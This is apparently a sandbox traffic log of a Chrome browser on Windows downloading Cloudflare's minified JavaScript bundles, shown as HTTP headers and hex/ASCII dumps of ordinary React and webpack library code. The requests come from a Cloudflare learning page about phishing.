2024-10-16 15:56:49 UTC	785	OUT	GET /framework-957a522640f43541ca6a.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	952	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"d711fa5a10b8d800843871fd03aeef22" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MJq8mdXJ4YY6RNS3l7I3kGeseEQPr8RFTkVvByqIyhKyuBcfMA5GVjEJEEzyP1u5%2Btv7AxhhgRPoSaFDWXIoRvq1Kl7koyitC9LCjH5FrtREmcCGWqf%2BnFVQtvLkIGKKw8NAtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db909a7e93e-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	417	IN	Data Raw: 37 62 66 39 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 66 72 61 6d 65 77 6f 72 6b 2d 39 35 37 61 35 32 32 36 34 30 66 34 33 35 34 31 63 61 36 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 39 33 5d 2c 7b 32 36 39 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 28 36 39 32 35 29 3b 66 75 6e 63 74 69 Data Ascii: 7bf9/! For license information please see framework-957a522640f43541ca6a.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[593],{2694:function(e,n,t){"use strict";var r=t(6925);functi
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 65 20 60 70 72 6f 70 2d 74 79 70 65 73 60 20 70 61 63 6b 61 67 65 2e 20 55 73 65 20 50 72 6f 70 54 79 70 65 73 2e 63 68 65 63 6b 50 72 6f 70 54 79 70 65 73 28 29 20 74 6f 20 63 61 6c 6c 20 74 68 65 6d 2e 20 52 65 61 64 20 6d 6f 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 66 62 2e 6d 65 2f 75 73 65 2d 63 68 65 63 6b 2d 70 72 6f 70 2d 74 79 70 65 73 22 29 3b 74 68 72 6f 77 20 75 2e 6e 61 6d 65 3d 22 49 6e 76 61 72 69 61 6e 74 20 56 69 6f 6c 61 74 69 6f 6e 22 2c 75 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 65 2e 69 73 52 65 71 75 69 72 65 64 3d 65 3b 76 61 72 20 74 3d 7b 61 72 72 61 79 3a 65 2c 62 69 67 69 6e 74 3a 65 2c 62 6f 6f 6c 3a 65 2c 66 75 6e 63 3a 65 2c 6e 75 6d 62 65 72 3a 65 2c 6f Data Ascii: upported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}function n(){return e}e.isRequired=e;var t={array:e,bigint:e,bool:e,func:e,number:e,o
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 3a 41 2d 5a 5f 61 2d 7a 5c 75 30 30 43 30 2d 5c 75 30 30 44 36 5c 75 30 30 44 38 2d 5c 75 30 30 46 36 5c 75 30 30 46 38 2d 5c 75 30 32 46 46 5c 75 30 33 37 30 2d 5c 75 30 33 37 44 5c 75 30 33 37 46 2d 5c 75 31 46 46 46 5c 75 32 30 30 43 2d 5c 75 32 30 30 44 5c 75 32 30 37 30 2d 5c 75 32 31 38 46 5c 75 32 43 30 30 2d 5c 75 32 46 45 46 5c 75 33 30 30 31 2d 5c 75 44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 46 44 5c 2d 2e 30 2d 39 5c 75 30 30 42 37 5c 75 30 33 30 30 2d 5c 75 30 33 36 46 5c 75 32 30 33 46 2d 5c 75 32 30 34 30 5d 2a 24 2f 2c 70 3d 7b 7d 2c 6d 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 6e 2c 74 2c 72 2c 6c 2c 61 2c 6f 29 7b 74 68 69 73 2e 61 63 63 65 70 74 73 42 6f 6f 6c 65 61 6e 73 3d 32 3d 3d 3d Data Ascii: :A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,p={},m={};function h(e,n,t,r,l,a,o){this.acceptsBooleans=2===
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 29 29 2c 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 33 2c 21 30 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 5b 22 63 6f 6c 73 22 2c 22 72 6f 77 73 22 2c 22 73 69 7a 65 22 2c 22 73 70 61 6e 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 36 2c 21 31 2c 65 2c 6e 75 6c 6c Data Ascii: )),["checked","multiple","muted","selected"].forEach((function(e){v[e]=new h(e,3,!0,e,null,!1,!1)})),["capture","download"].forEach((function(e){v[e]=new h(e,4,!1,e,null,!1,!1)})),["cols","rows","size","span"].forEach((function(e){v[e]=new h(e,6,!1,e,null
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 2c 74 29 29 29 29 7d 22 61 63 63 65 6e 74 2d 68 65 69 67 68 74 20 61 6c 69 67 6e 6d 65 6e 74 2d 62 61 73 65 6c 69 6e 65 20 61 72 61 62 69 63 2d 66 6f 72 6d 20 62 61 73 65 6c 69 6e 65 2d 73 68 69 66 74 20 63 61 70 2d 68 65 69 67 68 74 20 63 6c 69 70 2d 70 61 74 68 20 63 6c 69 70 2d 72 75 6c 65 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 20 63 6f 6c 6f 72 2d 70 72 6f 66 69 6c 65 20 63 6f 6c 6f 72 2d 72 65 6e 64 65 72 69 6e 67 20 64 6f 6d 69 6e 61 6e 74 2d 62 61 73 65 6c 69 6e 65 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 20 66 69 6c 6c 2d 72 75 6c 65 20 66 6c 6f 6f 64 2d 63 6f 6c 6f 72 20 66 6c 6f 6f 64 2d 6f Data Ascii: ,t))))}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-o
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6d 6c 3a 62 61 73 65 22 2c 22 78 6d 6c 3a 6c 61 6e 67 22 2c 22 78 6d 6c 3a 73 70 61 63 65 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 67 2c 79 29 3b 76 5b 6e 5d 3d 6e 65 77 20 68 28 6e 2c 31 2c 21 31 2c 65 2c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 58 4d 4c 2f 31 39 39 38 2f 6e 61 6d 65 73 70 61 63 65 22 2c 21 31 2c 21 31 29 7d 29 29 2c 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 63 72 6f 73 73 4f 72 69 67 69 6e 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 31 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 76 2e 78 6c 69 6e 6b 48 72 65 66 3d 6e 65 Data Ascii: ml:base","xml:lang","xml:space"].forEach((function(e){var n=e.replace(g,y);v[n]=new h(n,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)})),["tabIndex","crossOrigin"].forEach((function(e){v[e]=new h(e,1,!1,e.toLowerCase(),null,!1,!1)})),v.xlinkHref=ne
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 7c 56 29 72 65 74 75 72 6e 22 22 3b 56 3d 21 30 3b 76 61 72 20 74 3d 45 72 72 6f 72 2e 70 72 65 70 61 72 65 53 74 61 63 6b 54 72 61 63 65 3b 45 72 72 6f 72 2e 70 72 65 70 61 72 65 53 74 61 63 6b 54 72 61 63 65 3d 76 6f 69 64 20 30 3b 74 72 79 7b 69 66 28 6e 29 69 66 28 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 29 7d 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 70 72 6f 70 73 22 2c 7b 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 29 7d 7d 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 26 26 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 29 7b 74 72 79 7b 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 Data Ascii: \|V)return"";V=!0;var t=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(n)if(n=function(){throw Error()},Object.defineProperty(n.prototype,"props",{set:function(){throw Error()}}),"object"==typeof Reflect&&Reflect.construct){try{Reflect.const
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 74 75 72 6e 22 53 74 72 69 63 74 4d 6f 64 65 22 3b 63 61 73 65 20 7a 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 22 3b 63 61 73 65 20 54 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 4c 69 73 74 22 7d 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 29 73 77 69 74 63 68 28 65 2e 24 24 74 79 70 65 6f 66 29 7b 63 61 73 65 20 50 3a 72 65 74 75 72 6e 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 22 43 6f 6e 74 65 78 74 22 29 2b 22 2e 43 6f 6e 73 75 6d 65 72 22 3b 63 61 73 65 20 43 3a 72 65 74 75 72 6e 28 65 2e 5f 63 6f 6e 74 65 78 74 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 22 43 6f 6e 74 65 78 74 22 29 2b 22 2e 50 72 6f 76 69 64 65 72 22 3b 63 61 73 65 20 4e 3a 76 61 72 20 6e 3d 65 2e 72 65 6e 64 65 72 3b 72 65 74 75 72 6e 28 65 3d 65 Data Ascii: turn"StrictMode";case z:return"Suspense";case T:return"SuspenseList"}if("object"==typeof e)switch(e.$$typeof){case P:return(e.displayName\|\|"Context")+".Consumer";case C:return(e._context.displayName\|\|"Context")+".Provider";case N:var n=e.render;return(e=e
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 3a 72 65 74 75 72 6e 20 65 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 22 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 57 28 65 29 7b 76 61 72 20 6e 3d 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 28 65 3d 65 2e 6e 6f 64 65 4e 61 6d 65 29 26 26 22 69 6e 70 75 74 22 3d 3d 3d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 28 22 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 6e 7c 7c 22 72 61 64 69 6f 22 3d 3d 3d 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 72 7c 7c 28 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 57 28 65 29 3f 22 63 68 65 63 6b 65 64 22 3a 22 76 61 6c 75 65 22 2c 74 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f Data Ascii: :return e;default:return""}}function W(e){var n=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===n\|\|"radio"===n)}function Q(e){e._valueTracker\|\|(e._valueTracker=function(e){var n=W(e)?"checked":"value",t=Object.getOwnPropertyDescripto
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6f 6e 74 72 6f 6c 6c 65 64 3a 22 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 6e 2e 74 79 70 65 7c 7c 22 72 61 64 69 6f 22 3d 3d 3d 6e 2e 74 79 70 65 3f 6e 75 6c 6c 21 3d 6e 2e 63 68 65 63 6b 65 64 3a 6e 75 6c 6c 21 3d 6e 2e 76 61 6c 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 6e 29 7b 6e 75 6c 6c 21 3d 28 6e 3d 6e 2e 63 68 65 63 6b 65 64 29 26 26 62 28 65 2c 22 63 68 65 63 6b 65 64 22 2c 6e 2c 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 28 65 2c 6e 29 7b 47 28 65 2c 6e 29 3b 76 61 72 20 74 3d 48 28 6e 2e 76 61 6c 75 65 29 2c 72 3d 6e 2e 74 79 70 65 3b 69 66 28 6e 75 6c 6c 21 3d 74 29 22 6e 75 6d 62 65 72 22 3d 3d 3d 72 3f 28 30 3d 3d 3d 74 26 26 22 22 3d 3d 3d 65 2e 76 61 6c 75 65 7c 7c 65 2e 76 61 6c 75 65 21 3d 74 29 26 26 28 65 2e 76 61 6c 75 65 3d 22 22 Data Ascii: ontrolled:"checkbox"===n.type\|\|"radio"===n.type?null!=n.checked:null!=n.value}}function G(e,n){null!=(n=n.checked)&&b(e,"checked",n,!1)}function Z(e,n){G(e,n);var t=H(n.value),r=n.type;if(null!=t)"number"===r?(0===t&&""===e.value\|\|e.value!=t)&&(e.value=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49847	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	779	OUT	GET /app-5dd3a89e612d1162418a.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"7b3e2dad92dbd2b01a1a1fc7603345ba" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9u0UfZ9IMa%2Bjaw%2Fks7%2BDm%2FAdciE4%2BPODhQsR7jb8hhGIJDV31r5xMPqJBWECPIJBTPYwuFCdEoYCT%2FM7QNnFuZEUMhrTbprJz5Nh6C%2Fm0QAI2HiIucy7IiK6YxU9iHV6kRf8mw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db93b203bdf-MEM alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 70 70 2d 35 64 64 33 61 38 39 65 36 31 32 64 31 31 36 32 34 31 38 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 32 34 5d 2c 7b 33 38 31 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: 7ff2/! For license information please see app-5dd3a89e612d1162418a.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){retur
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 61 6d 65 3a 6f 2c 73 74 79 6c 65 3a 6e 3f 6c 3a 76 6f 69 64 20 30 7d 2c 74 29 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 73 72 63 2c 6e 3d 65 2e 63 75 73 74 6f 6d 65 72 43 6f 64 65 2c 6f 3d 65 2e 61 64 55 72 6c 2c 6c 3d 65 2e 63 6f 6e 74 72 6f 6c 73 2c 63 3d 76 6f 69 64 20 30 21 3d 3d 6c 26 26 6c 2c 6d 3d 65 2e 6d 75 74 65 64 2c 70 3d 76 6f 69 64 20 30 21 3d 3d 6d 26 26 6d 2c 66 3d 65 2e 61 75 74 6f 70 6c 61 79 2c 68 3d 76 6f 69 64 20 30 21 3d 3d 66 26 26 66 2c 67 3d 65 2e 6c 6f 6f 70 2c 5f 3d 76 6f 69 64 20 30 21 3d 3d 67 26 26 67 2c 76 3d 65 2e 70 72 65 6c 6f 61 64 2c 79 3d 76 6f 69 64 20 30 3d 3d 3d 76 3f 22 6d 65 74 61 64 61 74 61 22 3a 76 2c 62 3d 65 2e 70 72 69 6d 61 72 79 43 6f 6c 6f 72 2c 45 3d 65 2e 6c 65 74 74 65 72 Data Ascii: ame:o,style:n?l:void 0},t)},m=function(e){var t=e.src,n=e.customerCode,o=e.adUrl,l=e.controls,c=void 0!==l&&l,m=e.muted,p=void 0!==m&&m,f=e.autoplay,h=void 0!==f&&f,g=e.loop,_=void 0!==g&&g,v=e.preload,y=void 0===v?"metadata":v,b=e.primaryColor,E=e.letter
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6c 65 74 74 65 72 62 6f 78 43 6f 6c 6f 72 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 29 2c 6d 26 26 22 73 74 61 72 74 54 69 6d 65 3d 22 2b 6d 2c 6e 26 26 22 6d 75 74 65 64 3d 74 72 75 65 22 2c 6f 26 26 22 70 72 65 6c 6f 61 64 3d 22 2b 6f 2c 61 26 26 22 6c 6f 6f 70 3d 74 72 75 65 22 2c 69 26 26 22 61 75 74 6f 70 6c 61 79 3d 74 72 75 65 22 2c 21 73 26 26 22 63 6f 6e 74 72 6f 6c 73 3d 66 61 6c 73 65 22 5d 2e 66 69 6c 74 65 72 28 42 6f 6f 6c 65 61 6e 29 2e 6a 6f 69 6e 28 22 26 22 29 3b 72 65 74 75 72 6e 28 30 2c 72 2e 75 73 65 4d 65 6d 6f 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 3f 22 68 74 74 70 73 3a 2f 2f 63 75 73 74 6f 6d 65 72 2d 22 2b 66 2b 22 2e 63 6c 6f 75 64 66 6c 61 72 65 73 74 72 65 61 6d 2e 63 6f Data Ascii: letterboxColor="+encodeURIComponent(u),m&&"startTime="+m,n&&"muted=true",o&&"preload="+o,a&&"loop=true",i&&"autoplay=true",!s&&"controls=false"].filter(Boolean).join("&");return(0,r.useMemo)((function(){return f?"https://customer-"+f+".cloudflarestream.co
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 74 65 22 2c 75 65 2c 72 65 29 2c 73 28 22 76 6f 6c 75 6d 65 63 68 61 6e 67 65 22 2c 75 65 2c 6f 65 29 2c 73 28 22 77 61 69 74 69 6e 67 22 2c 75 65 2c 61 65 29 2c 73 28 22 73 74 72 65 61 6d 2d 61 64 73 74 61 72 74 22 2c 75 65 2c 69 65 29 2c 73 28 22 73 74 72 65 61 6d 2d 61 64 65 6e 64 22 2c 75 65 2c 73 65 29 2c 73 28 22 73 74 72 65 61 6d 2d 61 64 74 69 6d 65 6f 75 74 22 2c 75 65 2c 6c 65 29 2c 73 28 22 72 65 73 69 7a 65 22 2c 75 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 75 65 2e 63 75 72 72 65 6e 74 29 7b 76 61 72 20 74 3d 75 65 2e 63 75 72 72 65 6e 74 2c 6e 3d 74 2e 76 69 64 65 6f 48 65 69 67 68 74 2c 72 3d 74 2e 76 69 64 65 6f 57 69 64 74 68 3b 70 65 28 7b 76 69 64 65 6f 48 65 69 67 68 74 3a 6e 2c 76 69 64 65 6f 57 69 64 74 68 3a 72 7d 29 2c Data Ascii: te",ue,re),s("volumechange",ue,oe),s("waiting",ue,ae),s("stream-adstart",ue,ie),s("stream-adend",ue,se),s("stream-adtimeout",ue,le),s("resize",ue,(function(e){if(ue.current){var t=ue.current,n=t.videoHeight,r=t.videoWidth;pe({videoHeight:n,videoWidth:r}),
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 41 44 49 4e 47 5f 32 3d 22 68 65 61 64 69 6e 67 2d 32 22 2c 65 2e 48 45 41 44 49 4e 47 5f 33 3d 22 68 65 61 64 69 6e 67 2d 33 22 2c 65 2e 48 45 41 44 49 4e 47 5f 34 3d 22 68 65 61 64 69 6e 67 2d 34 22 2c 65 2e 48 45 41 44 49 4e 47 5f 35 3d 22 68 65 61 64 69 6e 67 2d 35 22 2c 65 2e 48 45 41 44 49 4e 47 5f 36 3d 22 68 65 61 64 69 6e 67 2d 36 22 2c 65 2e 4f 4c 5f 4c 49 53 54 3d 22 6f 72 64 65 72 65 64 2d 6c 69 73 74 22 2c 65 2e 55 4c 5f 4c 49 53 54 3d 22 75 6e 6f 72 64 65 72 65 64 2d 6c 69 73 74 22 2c 65 2e 4c 49 53 54 5f 49 54 45 4d 3d 22 6c 69 73 74 2d 69 74 65 6d 22 2c 65 2e 48 52 3d 22 68 72 22 2c 65 2e 51 55 4f 54 45 3d 22 62 6c 6f 63 6b 71 75 6f 74 65 22 2c 65 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 3d 22 65 6d 62 65 64 64 65 64 2d 65 6e 74 72 79 Data Ascii: ADING_2="heading-2",e.HEADING_3="heading-3",e.HEADING_4="heading-4",e.HEADING_5="heading-5",e.HEADING_6="heading-6",e.OL_LIST="ordered-list",e.UL_LIST="unordered-list",e.LIST_ITEM="list-item",e.HR="hr",e.QUOTE="blockquote",e.EMBEDDED_ENTRY="embedded-entry
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 65 66 61 75 6c 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 56 31 5f 4d 41 52 4b 53 3d 74 2e 56 31 5f 4e 4f 44 45 5f 54 59 50 45 53 3d 74 2e 54 45 58 54 5f 43 4f 4e 54 41 49 4e 45 52 53 3d 74 2e 48 45 41 44 49 4e 47 53 3d 74 2e 43 4f 4e 54 41 49 4e 45 52 53 3d 74 2e 56 4f 49 44 5f 42 4c 4f 43 4b 53 3d 74 2e 54 41 42 4c 45 5f 42 4c 4f 43 4b 53 3d 74 2e 4c 49 53 54 5f 49 54 45 4d 5f 42 4c 4f 43 4b 53 3d 74 2e 54 4f 50 5f 4c 45 56 45 4c 5f 42 4c 4f 43 4b 53 3d 76 6f 69 64 20 30 3b 76 61 72 20 61 Data Ascii: efault\|\|function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.V1_MARKS=t.V1_NODE_TYPES=t.TEXT_CONTAINERS=t.HEADINGS=t.CONTAINERS=t.VOID_BLOCKS=t.TABLE_BLOCKS=t.LIST_ITEM_BLOCKS=t.TOP_LEVEL_BLOCKS=void 0;var a
